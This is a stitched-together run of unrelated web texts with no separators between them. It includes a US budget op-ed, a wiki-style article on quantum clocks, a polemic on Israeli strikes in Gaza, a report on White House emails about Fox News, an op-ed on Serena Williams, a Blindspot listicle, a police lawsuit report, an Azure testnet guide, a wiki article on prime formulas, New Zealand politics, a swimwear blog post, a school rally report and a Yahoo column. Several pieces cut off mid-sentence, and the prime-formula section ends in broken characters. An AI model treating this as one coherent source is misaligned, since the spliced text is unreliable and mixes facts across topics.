How to do this without blowing a huge hole in the budget? Mr. Santorum outlines some $2.2 trillion in specific policies, such as shifting Medicare to a premium support system, transforming social programs into block grants to states and capping their growth, and cutting other domestic spending. Then he offers up the biggest magic asterisk of all time, cutting another $5 trillion within five years, details not provided. Wisely discounting that gauzy promise, the CRFB projects that under its intermediate scenario Mr. Santorum’s policies would increase deficits by $4.5 trillion through 2021, bringing the debt to a scary 107 percent of the economy.
The campaign debate needs to move from pie-in-the-sky promises. Promising additional tax cuts may win votes, but these proposals are unaffordable and dangerous.A quantum clock is a type of atomic clock with laser cooled single ions confined together in an electromagnetic ion trap. Developed in 2010 by National Institute of Standards and Technology physicists, the clock was 37 times more precise than the then-existing international standard.[1] The quantum logic clock is based on an aluminium spectroscopy ion with a logic atom.
Both the aluminium-based quantum clock and the mercury-based optical atomic clock track time by the ion vibration at an optical frequency using a UV laser, that is 100,000 times higher than the microwave frequencies used in NIST-F1 and other similar time standards around the world. Quantum clocks like this are able to be far more precise than microwave standards.
Accuracy [ edit ]
NIST 2010 quantum logic clock based on a single aluminum ion
The NIST team are not able to measure clock ticks per second because the definition of a second is based on the NIST-F1 which cannot measure a more precise machine. However the aluminium ion clock's measured frequency to the current standard is 1121015393207857.4(7)Hz.[2] NIST have attributed the clock's accuracy to the fact that it is insensitive to background magnetic and electric fields, and unaffected by temperature.[3]
In March 2008, physicists at NIST described an experimental quantum logic clock based on individual ions of beryllium and aluminium. This clock was compared to NIST's mercury ion clock. These were the most accurate clocks that had been constructed, with neither clock gaining nor losing time at a rate that would exceed a second in over a billion years.[4]
In February 2010, NIST physicists described a second, enhanced version of the quantum logic clock based on individual ions of magnesium and aluminium. Considered the world's most precise clock in 2010 with a fractional frequency inaccuracy of 8.6 × 10−18, it offers more than twice the precision of the original.[5] [6] In terms of standard deviation, the quantum logic clock deviates one second every 3.68 billion (3.68 × 109) years, while the then current international standard NIST-F1 caesium fountain atomic clock uncertainty was about 3.1 × 10−16 expected to neither gain nor lose a second in more than 100 million (100 × 106) years.[7] [8]
Gravitational time dilation in everyday lab scale [ edit ]
In 2010 an experiment placed two aluminium-ion quantum clocks close to each other, but with the second elevated 12 in (30.5 cm) compared to the first, making the gravitational time dilation effect visible in everyday lab scales.[9]
More accurate experimental clocks [ edit ]
The accuracy of quantum clocks has since been superseded by optical lattice clocks based on strontium-87 and ytterbium-171. An experimental optical lattice clock was described in a 2014 Nature paper.[10] In 2015 JILA evaluated the absolute frequency uncertainty of their latest strontium-87 optical lattice clock at 2.1 × 10−18, which corresponds to a measurable gravitational time dilation for an elevation change of 2 cm (0.79 in) on planet Earth that according to JILA/NIST Fellow Jun Ye is "getting really close to being useful for relativistic geodesy".[11][12][13] At this frequency uncertainty, this JILA optical lattice optical clock is expected to neither gain nor lose a second in more than 15 billion (15 × 109) years.[14]
See also [ edit ]Relatives of Hamas fighter Ismail al-Tili mourns during his funeral in Beit Lahia, northern Gaza Strip, on October 24, 2012. Majdi Fathi APA images
Israel’s hasbara – propaganda – organs are cranked up to the maximum right now complaining that Israel is once again the innocent victim of barrages of rockets from Gaza, and justifiying Israel’s latest killings of Palestinians in Gaza as a necessary and legitimate response.
Israeli Prime Minister Benjamin Netanyahu claimed today, “We neither chose nor initiated this escalation but if it continues we are prepared for much more extensive and deeper action” in Gaza.
Don’t believe the lies. Israel has been conducting a systematic campaign of “preemptive” extrajudicial executions in Gaza, knowing full well that this would bring on rocket fire. But Israel thinks the price is worth it.
On 14 October, Ynet published an interview with a senior military officer, under the headline, “Surgical strikes are worth risk of rocket fire”:
Israel’s southern communities are bracing for what may prove further escalation in rocket fire, following Saturday and Sunday’s surgical IAF strikes, which left three terrorists dead; but Colonel Tal Hermoni, the IDF’s outgoing Gaza Division commander, is convinced that the benefits of the IDF’s operations outweigh the danger. “If we wouldn’t be taking them out, the same terrorists would have infiltrated the border and killed 20 kids at a holiday party,” he said Sunday.
Isn’t this is the sort of “preemptive” logic that led so many to accept the US invasion of Iraq?
Israel’s version of “calm,” it would seem, is that it should be allowed to kill whoever it pleases, but Palestinians can never respond.
During the week of 11-17 October, Israeli occupation forces killed five Palestinians in Gaza, two of them extrajudicial executions, according to the Palestinian Centre for Human Rights. Five others, including two children were wounded. PCHR described the extrajudicial killings that Hermoni had overseen:
In the Gaza Strip, IOF extra-judicially executed 2 Palestinians in the northern Gaza Strip. On 13 October 2012, Israeli warplanes launched a missile on a motorcycle ridden by 2 Palestinians on Mas’oud Street in Jabalia refugee camp, in the northern Gaza Strip. As a result, one of them was killed immediately, while the other died 3 hours later. A child who was in the vicinity of the attack was wounded and the windows of 2 houses in the area were broken. The glass door of a nearby pharmacy was also smashed.
Praising Hamas
In the same Ynet interview, Hermoni praised Hamas, which rules the interior of Israeli-occupied Gaza, for doing its best to keep things calm despite the execution campaign he was promoting:
“Hamas is taking action to prevent an escalation and is turning from a terror group to a sovereign movement that is assuming governmental responsibility. They have to worry about feeding and educating people, and every act of terror costs them dearly. “But they day the decision is made, we’ll know how to bring it to its knees. There will be a (ground) operation in Gaza. The only question is when,” he said.
Israel, it seems, cannot be satisfied unless there is war and violence along its frontiers.
Half the story
Israel’s full-volume hasbara about how it is the passive victim of rocket attacks is, as Yousef Munayyer pointed out in February, only half (in fact much less than half) the story:
If a rocket from Gaza falls in the middle of the desert, does it make a sound? It does if you are on Twitter. Regular updates on just about every projectile fired from Gaza is reported by the Israeli military’s official twitter account @IDFSpokesperson as well as from the accounts of other Israeli military figures like that of spokesperson @AvitalLeibovich. But what about projectiles fired by Israel into Gaza? You’d think that since this is actual Israeli military activity the spokespeople from the Israeli military would provide this information.
Munayyer provided the answer, based on UN data:
In 2011, the projectiles fired by the Israeli military into Gaza have been responsible for the death of 108 Palestinians, of which 15 where women or children and the injury of 468 Palestinians of which 143 where women or children. The methods by which these causalities were inflicted by Israeli projectiles breaks down as follows: 57% or 310, were caused by Israeli Aircraft Missile fire, 28% or 150 where from Israeli live ammunition, 11% or 59 were from Israeli tank shells while another 3% or 18 were from Israeli mortar fire.
In 2012, the story is no different. Beware of Israel manufacturing a “rocket crisis” as it did in the weeks before its 2008-2009 “Operation Cast Lead” massacre in Gaza.
Update: 25 October
Also see Munayyer’s latest post: “#Israel and #Gaza: Context Behind Projectile Fire”Fox News' Brett Baier. foxnews.com
Conservative Watchdog group Judicial Watch on Thursday released White House emails that show an Obama administration official calling Fox News anchor Bret Baier a "lunatic" and promising to put "some dead fish in the fox cubby."
The emails are tied to an October 2009 battle between Fox News and the administration. At issue was a claim by Fox that it was being specifically excluded from interviewing Treasury pay czar Ken Feinberg - something the White House denied. Fox News was eventually granted an interview with Feinberg after other networks, including CBS News, refused the interview offer unless Fox was included.
Emails released by Judicial Watch, obtained under a Freedom of Information Act request, show Deputy White House Communications Director Jennifer Psaki writing in reference to the dustup, "brett baier just did a stupid piece on it---but he is a lunatic." Another email from Psaki reads in part, "I am putting some dead fish in the fox cubby--just cause."
An earlier email shows Dag Vega, Director of Broadcast Media on the White House staff, saying in reference to the Feinberg interviews, "...we'd prefer if you skip Fox please." In another email, Deputy White House Press Secretary Josh Earnest writes, "We've demonstrated our willingness and ability to exclude Fox News from significant interviews..."
Judicial Watch President Tom Fitton said the emails show the White House "seems to have lied about its attempt to exclude Fox News Channel" from the Feinberg interview, adding that they "show there is a pervasive anti-Fox bias in the Obama White House."
"The O'Reilly Factor" host Bill O'Reilly AP Photo/Fox News Channel
Acrimony between Fox News, which is widely seen as having a conservative slant, and the Obama administration is well known. It has sometimes gone public, as in when then-White House
communications director Anita Dunn said, around the same time that the emails were written, that Fox News "often operates almost as either the research arm or the communications arm of the Republican Party."
Asked about the emails at his briefing Thursday, White House press secretary Jay Carney first said, seemingly jokingly, that no White House employee "ever placed a dead fish in the Fox News cubbyhole, which I know is a suggestion."
He continued: "I can also say that it is well known that at the time there was a dispute between Fox News and its coverage and the White House and its feelings about the coverage. I mean, that was then, and we obviously deal with Fox News regularly."
He added that the White House gives interviews to Fox - "including to Bill O'Reilly" - adding that "we regularly engage with every network and every news organization here, including Fox, and give interviews to Fox, and respect the reporters at Fox who are reporters and do their job."It does seem an odd match, someone as athletic, powerful and generally cool as Serena Williams partnered with the co-founder of the nerdiest place on the internet, but the heart wants what it wants and if they’re happy together then good luck to them. However, nestled amongst happy people celebrating the news yesterday were a few tweets like this:
Yesterday, Twitter exploded in joy at the news Serena Williams – tennis hero, role model, general BAMF – was 20 weeks pregnant. Amongst the hundreds of GIFs, congratulatory tweets and crying emojis, I saw a few people who were more than slightly puzzled. News of Serena’s pregnancy had prompted a few people to look up who the father was and they couldn’t believe that she was engaged to Alexis Ohanian, the co-founder of Reddit.
Tweets like this completely enrage me for so many reasons, but mainly because they play into a “Geeks getting the girl” rhetoric that I’m utterly sick of. You know the (incredibly heteronormative) story – a geeky boy loves a girl but she is in love with someone handsome and popular and can’t see the geek’s obvious superiority. We’re meant to feel sorry for the poor, lovelorn geeks, and like it’s unfair that the the girl fell for someone charming and attractive rather than the guy who can’t even look her in the eye. Then the geek then somehow “wins”, discredits the popular guy, and has the girl fall in love with him. Sometimes there’s a nice twist where the geek wins at the end but no longer fancies the woman in question and she is humiliated or punished for not having fancied him originally.
Being a nerd isn’t going to stop you from finding love, but being an entitled, bitter asshole will
I see this story in popular media all the time, and I hate it. So many fairy tales revolve around men going through trials and earning their brides, so many video games involve the protagonist earning the right to rescue or sleep with a woman, and so many films - Superbad, Can’t Hardly Wait, Zombieland, American Pie, Loser, Back To The Future - have the geek getting the girl in the end. It fits nicely within a circle of fuckery that also includes “The Friendzone” and “Nice Guys” and all ties back to the idea that women are things to be earned, prizes to be won, and if a woman doesn’t find you attractive then really it’s their fault because they’re just superficial and find things like confidence and high levels of personal grooming attractive.
You might think I’m overreacting, but this trope is dangerous. It leads to male nerds feeling angry, bitter, and hating women for not loving them. Sometimes this comes out in, ironically, Reddit threads dedicated to attacking famous women. Sometimes it comes out in things like Gamergate, where female gaming journalists and personalities received death/rape threats after having their addresses and personal information published online. Other times it comes out in a man going on a shooting spree and killing six people because women won't have sex with him.
And then we have Serena Williams engaged to the co-founder of Reddit, or Miranda Kerr getting engaged to the co-founder of Snapchat, or Talulah Riley marrying Elon Musk, and these men take it as proof that they’ll triumph in the end. They treat a sporting superstar’s happy pregnancy news as a “moral” to women everywhere that they should date boring nerds they aren't attracted to because they'll be rich and successful in the future. They reduce relationships to business transactions where women only want men for their money, and miss out a huge part of why these successful rich men are dating these successful beautiful women – namely, that as well as being clever and nerdy they had the charm, drive and passion required to make a business a success. These are all attractive qualities! Being a nerd is not a barrier to finding love, but you have to be fanciable as well. That's not because women are superficial beings, it's because people deserve to be in relationships with people they want rather than people who feel they “deserve” them.
I’m not saying that women never will and never should fall for the nerds – I am married to one, actually, and we’re very happy together – but I am saying that no-one has the right to a sexual relationship and shaming people from not wanting to date you is a horrible thing to do. And you know what? It's also counter productive. Being a nerd isn’t going to stop you from finding love, but being an entitled, bitter asshole will.
@jimsyjampotsBlindspot is easily one of the best new dramas of the year. The intriguing premise, non-stop action and stellar cast are some of the reasons viewers keep coming back for more. The story is still being established and there is much more to explore in the seasons to come, but here are a couple of things you may not know about Blindspot.
1. Jaimie Alexander is almost as badass as Jane.
Alexander plays the lead character Jane Doe on the show and her physicality closely matches that of her character. She was a wrestler in high school, played the warrior goddess Sif, on Thor and was a superhuman on the TV show Kyle XY. Additionally she has worked with her stunt double for over 10 years and is quite adept at doing most of her own stunt work.
2. The Patterson we see on screen is a far cry from the original concept.
Showrunner Martin Gero once tweeted that Patterson was first written as a 45 year old stern woman! Ashley Johnson plays her as a young, quirky, funny, intelligent woman and and it’s the best change the show could have made. Johnson is easily a fan favorite.
3. The FBI is faking it!
Their accents, I mean. Show lead Sullivan Stapleton is an Australian native. His character, FBI agent Kurt Weller, was born and raised in Philadelphia. Stapleton is mostly successful in pulling off an American accent. The fact that Weller is a man of few words works in his favor.
He’s not the only one. Marianne Jean Batiste who plays assistant FBI directory Bethany Mayfair, is British, but speaks with a bit of a southern accent.
4. The creator of the puzzles is a real life riddler.
David Kwong is a Harvard graduate, a magician and illusionist, and also the co-creator of crossword puzzles for the New York Times. No wonder those puzzles are so clever and legitimate.
5. Do those look like a lot of tattoos? They are!
There are over 200 tattoos on Jane’s body. It takes over 7 hours to put them on Jaimie’s Alexander’s body.That’s dedication to the art.
6. The opening scene was one of the longest shoots for the show.
That opening shot was used everywhere to promote the show. It caught eyeballs and drew the audience into the pilot. They creators cleared out Times Square in New York in piecemeal for a couple of hours in the early hours of the morning. The shoot itself took about 8 hours and Jaimie and her stunt double kept having to get in and out of the duffle bag for almost 5 hours.
7. This is not Ashley Johnson’s first TV hit.
Ashley played young Chrissy Seaver on the wildly popular sitcom Growing Pains in the late 80’s and early 90’s. And she’s been keeping busy over the years working in movies, TV, and doing voiceover work for video games. It feels like Patterson was written with her in mind, but as mentioned earlier, not quite!
8. The title of each episode is actually an anagram
For those drawn to the puzzles every week, the showrunners added a fun little element to the show. The title of each episode is an anagram that can be solved to reveal a clue about the episode. Fans on SM enjoy putting the pieces together. For example, the pilot was titled “Woe Has Joined,” which is actually “Who is Jane Doe.” Season 1 Episode 2 was titled “A Stray Howl.” unscrambling to “Taylor Shaw,” and so on.
9. How many stories can these tattoos tell?
Martin Gero the showrunner, revealed that they have actually specced out three seasons of Blindspot, tying back to the tattoos on Jane’s body. That’s a lot of great stories to tell and more planning than most shows! Given that the show is doing so well, I think the odds are high that viewers will see all those stories unfold.
10. Zapata will get a love life too, sooner rather than later.
The show has explored a love interest for all the main characters on the show except Agent Tasha Zapata. Mayfair had her one true love in Sofia, her former partner. Weller and Jane have each other, Patterson loved and lost David, and Reade has found an unexpected match in Weller’s sister. Zapata will soon have a love interest the form of an Assistant US Attorney in upcoming episodes.
Blindspot airs Monday at 10/9c on NBC.
Follow us on Twitter @TellTV
You might also like:BASALT – The town of Basalt has introduced court papers claiming that three of its police officers are immune from a lawsuit that alleges they violated a bar patron’s constitutional rights.
The town’s position, made in response to a Basalt man’s federal suit that claims they arrested him after he yelled at them in a bar during an incident in August 2009, also maintains the officers’ use of force was “reasonable” and that their actions were “conducted in good faith and without intent to injure or deprive [the] plaintiff of his civil rights.”
The response comes after Basalt resident Ian Gray in July sued the town of Basalt and Police Officers Brian Lemke and Michael Taylor, as well as police Sgt. Stewart Curry. Filed in the U.S. District Court in Denver, Gray’s suit alleges that on Aug. 15, 2009, the three officers conducted a “walk-through” at the now-defunct Basalt Bistro, prompting Gray to say, “Don’t let the door hit you in the ass,” as the trio left the premises.
Gray’s complaint says the officers left the bar but came back a short time later. Lemke allegedly told Gray he needed to come outside, but Gray refused.
“Officer Lemke then forcefully removed [Gray] from the barstool, dropped him to the barroom floor, repeatedly struck the plaintiff’s arms, brought [his] arms behind his back and handcuffed him,” Gray’s suit says, adding that police violated his constitutional rights by unlawfully arresting him and violating his right to free speech.
Gray’s suit alleges he suffered physical injuries, including tendon, ligament and possibly other damage to his right shoulder; lacerations and bruising to his wrists; bruising to his forearms; and bruising to his right lower jaw. He also said he suffered pain and suffering, fear, anxiety, loss of liberty, embarrassment and humiliation, emotional trauma and psychological harm, “some or all of which may be permanent.”
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The town, however, contends Gray was intoxicated at the time and that Lemke had “politely” told him he need to come outside because there was probable cause he had committed disorderly conduct.
“Ian Gray refused to follow the lawful order of Officer Lemke, who then used a reasonable amount of force to remove [him] from the Basalt Bistro,” court documents say.
Three weeks after the incident, the Eagle County District Attorney’s Office charged Gray with two misdemeanors – harassment and obstructing a police officer. The counts were dropped in January.
Additionally, the town says that the three officers are precluded from litigation under Colorado’s Governmental Immunity Act.
A settlement conference is scheduled for Dec. 9. U.S. District Court Judge Marcia Krieger is presiding over the case.
rcarroll@aspentimes.comCreating A Free Kovan Testnet Node On Azure — Step-by-Step Guide
Attores Pte Ltd Blocked Unblock Follow Following May 15, 2017
Kovan is a new testnet for Ethereum using Parity’s Proof of Authority (PoA) consensus engine, with benefits over Ropsten:
Immune to spam attacks (as Ether supply is controlled by trusted parties)
Consistent 4 second block time
Kovan, a public Proof-of-Authority testnet, uses parity to provide a stable, secure testnet environment for Ethereum developers, due to the instability of the existing Ropsten testnet.
PoA is a replacement for PoW (Proof of Work), which can be used for both public and private chain setups. There is no mining involved to secure the network with PoA, and relies on trusted ‘Validators’ to ensure that valid transactions are added to blocks, processed and executed by the EVM faithfully.
Because mining does not occur on Kovan, malicious actors are prevented from acquiring testnet Ether, solving the spam attack that Ropsten faces.
You can use the Azure automated installation of Parity, however, that will cost almost $200 a month in total- above the free monthly resource level. So to get it for free, you will need to set it up manually.
Let’s create a Kovan testnet node on Azure.
Jump to:
A. Create a Ubuntu VM on Azure
B. Configure DNS
C. Setting up Kovan Testnet Node
Create Ubuntu VM on Azure
First, let’s create and set up new Ubuntu VM on Azure portal. If you don’t have a free Microsoft azure account, let’s create it. If you have an azure account, you can skip this section.
The application below will require a credit card and may be chargeable after the first month. Therefore, it’s recommended that you try to get a higher tier of usage using the Bizspark program or other developer signup pages such as:
https://azure.microsoft.com/en-us/offers/ms-azr-0064p/
Open Account on Azure:
Go to https://azure.microsoft.com/free → Click on Start Free
Create free Azure account
2. Continue with account setup and provide the required info
Free trial sign up on Azure
3. Get your identity verified
Identity verification on azure
4. Once it’s done, agree to the terms and continue. Once the account is created, go to Portal in the menu.
Go to azure portal
You’ll be directed to Azure portal and dashboard.In number theory, a formula for primes is a formula generating the prime numbers, exactly and without exception. No such formula which is efficiently computable is known. A number of constraints are known, showing what such a "formula" can and cannot be.
Formula based on Wilson's theorem [ edit ]
A simple formula is
f ( n ) = ⌊ n! mod ( n + 1 ) n ⌋ ( n − 1 ) + 2, {\displaystyle f(n)=\left\lfloor {\frac {n!{\bmod {(}}n+1)}{n}}\right\rfloor (n-1)+2,} n {\displaystyle n}
By Wilson's theorem, n + 1 {\displaystyle n+1} is prime if and only if n! mod ( n + 1 ) = n {\displaystyle n!{\bmod {(}}n+1)=n}. Thus, when n + 1 {\displaystyle n+1} is prime, the first factor in the product becomes one, and the formula produces the prime number n + 1 {\displaystyle n+1}. But when n + 1 {\displaystyle n+1} is not prime, the first factor becomes zero and the formula produces the prime number 2.[1] This formula is not an efficient way to generate prime numbers because evaluating n! mod ( n + 1 ) {\displaystyle n!{\bmod {(}}n+1)} requires about n − 1 {\displaystyle n-1} multiplications and reductions mod ( n + 1 ) {\displaystyle {\bmod {(}}n+1)}.
Formula based on a system of Diophantine equations [ edit ]
Because the set of primes is a computably enumerable set, by Matiyasevich's theorem, it can be obtained from a system of Diophantine equations. Jones et al. (1976) found an explicit set of 14 Diophantine equations in 26 variables, such that a given number k + 2 is prime if and only if that system has a solution in natural numbers:[2]
α 0 = w z + h + j − q = 0 {\displaystyle \alpha _{0}=wz+h+j-q=0}
α 1 = ( g k + 2 g + k + 1 ) ( h + j ) + h − z = 0 {\displaystyle \alpha _{1}=(gk+2g+k+1)(h+j)+h-z=0}
α 2 = 16 ( k + 1 ) 3 ( k + 2 ) ( n + 1 ) 2 + 1 − f 2 = 0 {\displaystyle \alpha _{2}=16(k+1)^{3}(k+2)(n+1)^{2}+1-f^{2}=0}
α 3 = 2 n + p + q + z − e = 0 {\displaystyle \alpha _{3}=2n+p+q+z-e=0}
α 4 = e 3 ( e + 2 ) ( a + 1 ) 2 + 1 − o 2 = 0 {\displaystyle \alpha _{4}=e^{3}(e+2)(a+1)^{2}+1-o^{2}=0}
α 5 = ( a 2 − 1 ) y 2 + 1 − x 2 = 0 {\displaystyle \alpha _{5}=(a^{2}-1)y^{2}+1-x^{2}=0}
α 6 = 16 r 2 y 4 ( a 2 − 1 ) + 1 − u 2 = 0 {\displaystyle \alpha _{6}=16r^{2}y^{4}(a^{2}-1)+1-u^{2}=0}
α 7 = n + ℓ + v − y = 0 {\displaystyle \alpha _{7}=n+\ell +v-y=0}
α 8 = ( a 2 − 1 ) ℓ 2 + 1 − m 2 = 0 {\displaystyle \alpha _{8}=(a^{2}-1)\ell ^{2}+1-m^{2}=0}
α 9 = a i + k + 1 − ℓ − i = 0 {\displaystyle \alpha _{9}=ai+k+1-\ell -i=0}
α 10 = ( ( a + u 2 ( u 2 − a ) ) 2 − 1 ) ( n + 4 d y ) 2 + 1 − ( x + c u ) 2 = 0 {\displaystyle \alpha _{10}=((a+u^{2}(u^{2}-a))^{2}-1)(n+4dy)^{2}+1-(x+cu)^{2}=0}
α 11 = p + ℓ ( a − n − 1 ) + b ( 2 a n + 2 a − n 2 − 2 n − 2 ) − m = 0 {\displaystyle \alpha _{11}=p+\ell (a-n-1)+b(2an+2a-n^{2}-2n-2)-m=0}
α 12 = q + y ( a − p − 1 ) + s ( 2 a p + 2 a − p 2 − 2 p − 2 ) − x = 0 {\displaystyle \alpha _{12}=q+y(a-p-1)+s(2ap+2a-p^{2}-2p-2)-x=0}
α 13 = z + p ℓ ( a − p ) + t ( 2 a p − p 2 − 1 ) − p m = 0 {\displaystyle \alpha _{13}=z+p\ell (a-p)+t(2ap-p^{2}-1)-pm=0}
The 14 equations α 0, …, α 13 can be used to produce a prime-generating polynomial inequality in 26 variables:
( k + 2 ) ( 1 − α 0 2 − α 1 2 − ⋯ − α 13 2 ) > 0 {\displaystyle (k+2)(1-\alpha _{0}^{2}-\alpha _{1}^{2}-\cdots -\alpha _{13}^{2})>0}
i.e.:
( k + 2 ) ( 1 − [ w z + h + j − q ] 2 − [ ( g k + 2 g + k + 1 ) ( h + j ) + h − z ] 2 − [ 16 ( k + 1 ) 3 ( k + 2 ) ( n + 1 ) 2 + 1 − f 2 ] 2 − [ 2 n + p + q + z − e ] 2 − [ e 3 ( e + 2 ) ( a + 1 ) 2 + 1 − o 2 ] 2 − [ ( a 2 − 1 ) y 2 + 1 − x 2 ] 2 − [ 16 r 2 y 4 ( a 2 − 1 ) + 1 − u 2 ] 2 − [ n + ℓ + v − y ] 2 − [ ( a 2 − 1 ) ℓ 2 + 1 − m 2 ] 2 − [ a i + k + 1 − ℓ − i ] 2 − [ ( ( a + u 2 ( u 2 − a ) ) 2 − 1 ) ( n + 4 d y ) 2 + 1 − ( x + c u ) 2 ] 2 − [ p + ℓ ( a − n − 1 ) + b ( 2 a n + 2 a − n 2 − 2 n − 2 ) − m ] 2 − [ q + y ( a − p − 1 ) + s ( 2 a p + 2 a − p 2 − 2 p − 2 ) − x ] 2 − [ z + p ℓ ( a − p ) + t ( 2 a p − p 2 − 1 ) − p m ] 2 ) > 0 {\displaystyle {\begin{aligned}&(k+2)(1-{}\\[6pt]&[wz+h+j-q]^{2}-{}\\[6pt]&[(gk+2g+k+1)(h+j)+h-z]^{2}-{}\\[6pt]&[16(k+1)^{3}(k+2)(n+1)^{2}+1-f^{2}]^{2}-{}\\[6pt]&[2n+p+q+z-e]^{2}-{}\\[6pt]&[e^{3}(e+2)(a+1)^{2}+1-o^{2}]^{2}-{}\\[6pt]&[(a^{2}-1)y^{2}+1-x^{2}]^{2}-{}\\[6pt]&[16r^{2}y^{4}(a^{2}-1)+1-u^{2}]^{2}-{}\\[6pt]&[n+\ell +v-y]^{2}-{}\\[6pt]&[(a^{2}-1)\ell ^{2}+1-m^{2}]^{2}-{}\\[6pt]&[ai+k+1-\ell -i]^{2}-{}\\[6pt]&[((a+u^{2}(u^{2}-a))^{2}-1)(n+4dy)^{2}+1-(x+cu)^{2}]^{2}-{}\\[6pt]&[p+\ell (a-n-1)+b(2an+2a-n^{2}-2n-2)-m]^{2}-{}\\[6pt]&[q+y(a-p-1)+s(2ap+2a-p^{2}-2p-2)-x]^{2}-{}\\[6pt]&[z+p\ell (a-p)+t(2ap-p^{2}-1)-pm]^{2})\\[6pt]&>0\end{aligned}}}
is a polynomial inequality in 26 variables, and the set of prime numbers is identical to the set of positive values taken on by the left-hand side as the variables a, b, …, z range over the nonnegative integers.
A general theorem of Matiyasevich says that if a set is defined by a system of Diophantine equations, it can also be defined by a system of Diophantine equations in only 9 variables.[3] Hence, there is a prime-generating polynomial as above with only 10 variables. However, its degree is large (in the order of 1045). On the other hand, there also exists such a set of equations of degree only 4, but in 58 variables.[4]
Mills' formula [ edit ]
The first such formula known was established by W. H. Mills (1947), who proved that there exists a real number A such that, if
d n = A 3 n {\displaystyle d_{n}=A^{3^{n}}}
then
⌊ d n ⌋ = ⌊ A 3 n ⌋ {\displaystyle \left\lfloor d_{n}\right\rfloor =\left\lfloor A^{3^{n}}\right\rfloor }
is a prime number for all positive integers n.[5] If the Riemann hypothesis is true, then the smallest such A has a value of around 1.3063778838630806904686144926... (sequence A051021 in the OEIS) and is known as Mills' constant. This value gives rise to the primes ⌊ d 1 ⌋ = 2 {\displaystyle \left\lfloor d_{1}\right\rfloor =2}, ⌊ d 2 ⌋ = 11 {\displaystyle \left\lfloor d_{2}\right\rfloor =11}, ⌊ d 3 � |
the number Ardern put as the selling price of the most expensive homes in the programme – on a rent-to-own basis, or pay as much as $100,000 more and have to stump up a deposit and be at the mercy of the banks?
None of those building plans are any good if there is not enough land around.
There was no talk about relaxing the Resource Management Act and the Greens deal speaks of having it "better enforced".
Green is the new black
Making the Government vehicle fleet emissions-free in nine years, significant investment in railways, planting 1 billion trees in 10 years and introducing a Zero Carbon Act – they all sound straight out of the Green Party playbook, but are actually deals NZ First and Labour struck as part of their coalition agreement.
It does not stop there – agriculture possibly in the ETS, more funding for the Department of Conservation, increased support to counter kauri dieback and myrtle rust and the establishment of an independent Climate Commission are on the cards.
Combine that with Ardern's comments pre-election that climate change was the nuclear-free issue of our generation and there is no doubt this Government is serious about going green.
What effect will that have in Manawatū and surrounding areas?
The Greens deal speaks about having 100 per cent renewable energy by 2035 and of solar panels on schools playing a part.
A few panels alone will not get us to that target. Large-scale solar farms and more wind farms could be on the cards.
The Greens deal makes mention of the Government helping farmers reduce emissions and improve water quality, the latter no doubt making a swim at waterholes like Horseshoe Bend much more appealing.Jumpsuit, Dress, Stripe Bikini, Yellow Bikini : Swimwear365
Last week I went on a trip to Malaga in Spain for a winter holiday in the sun. If you follow me on Instagram you will remember my recent holiday to Jamaica, however after 2 months I was definitely getting the holiday blues......so another vaca was needed! Last week I went on a trip to Malaga in Spain for a winter holiday in the sun. If you follow me on Instagram you will remember my recent holiday to Jamaica, however after 2 months I was definitely getting the holiday blues......so another vaca was needed!
And to help me with my wardrobe staples, the lovely team over at Swimwear365 sent me some of my favourite pieces from their website. If you haven't heard of the brand before then they are the go to brand for any holiday as they basically provide you swimwear and beachwear 365 days of the year!
I chose outfits 4 outfits starting off with this gorgeous paisley playsuit which is super soft and the perfect piece to wear over a bikini. I styled the playsuit with beaded flats and a boater hat and matching straw bag for a day to a Spanish vineyard. When abroad, for me comfort is key during the day and this playsuit was just that. Swimwear365 have a tonne of amazing bikinis, so whittling my bikini choice down to 2 styles was a task in itself. I decided on this striped bikini, a great way to make a statement on the beach and this yellow bikini top and briefs. My final choice of attire was this simple yet chic bardot dress which I knew would work so many ways for the day with flats over my bikini and at night with a pair of statement heels!
I had such a relaxing and much needed break, thanks again Swinwear 365 for my holiday looks!!!
Marsha C xoxoRALEIGH, N.C. (WNCN) - It's been a big story in our state for months - school systems trying to figure out how to deal with potential job cuts caused by caps on classroom size.
A large group will gather at the General Assembly today to let lawmakers know where they stand on the issue.
At least 100 people have committed to coming to a rally outside the legislature this afternoon in favor of House Bill 13.
The bill has already passed unanimously in the House, but the Senate has yet to act on it. The bill would allow schools flexibility in class sizes, which some believe fixes the state's current law.
Thousands of parents, students and teachers passionate about HB13 started a Facebook group called "Save Our Schools."
CBS North Carolina spoke to the organizer, who said today they'll rally in hopes of getting the attention of lawmakers before 5,500 teaching jobs and some school programs such as art and physical education, get cut.
"Number one, I think arts in schools is incredibly important. They teach valuable life skills," said Wake County parent Renee Sekel. "Number two, as a person, it hurts my heart to know that 5,500 teachers around this state could lose their jobs - not just specialists. It's [teacher's assistants] and regular teachers, as well."
Sekel said the group wasn't planning to have to rally at the legislature, but they haven't received any feedback through traditional methods such as emails and phone calls.
"I didn't know we would have to do this. I thought we would tell the senators what we thought in emails and phone calls and they would just do what we needed them to do, but they're not," she said. "So we have to get as many people as we can telling them this is the right thing, this is what their constituents want."
The HB13 rally will be held at the Halifax Mall at 4 p.m.
Speakers will include teachers and students and they're hoping to send a message to the Senate.I’m reluctant to cite what I’m about to cite. It’s scathing. It’s scurrilous. It’s caustic criticism that seems often overblown and, in some cases, deliberately devoid of context. It’s the New York Times Magazine‘s condensation of Nicholas Carlson’s book about Marissa Mayer, and it’s clearly an attempt to do to her what Hatching Twitter did to Jack Dorsey.
But here it is — and I’m linking to it because I feel like I have a dog in this fight. You see, unusually for a tech columnist / software engineer, I am, to my increasing regret, a frequent and longtime Yahoo! user. Flickr is still my primary photo repository. My vanity site is still hosted on Yahoo!, and the email address it points visitors towards leads to a Yahoo! Mail account.
It says something that I actually feel I need to quickly follow the above paragraph with a lengthy disclaimer lest I immediately lose all tech credibility. Yahoo! is not well-respected among the tech cognoscenti. A cutting-edge close friend once looked over my shoulder at the Y! Mail client and said, with undisguised horror, “That’s not where the email I send you goes, is it?” She was visibly relieved when I assured her otherwise.
But back when I started using it, during the first dot-boom, Yahoo! had the best webmail service there was. Back then they were a tech company. I can easily move my vanity email address to GMail–I own the domain–but I feel like the many-eyed hydra of Mountain View knows enough about my life already. I’m holding out for some fully decentralized Maelstrom email service. Until that arrives, Yahoo! is…
…probably not good enough. Alas. Every few months I find myself confronting this:
and/or this:
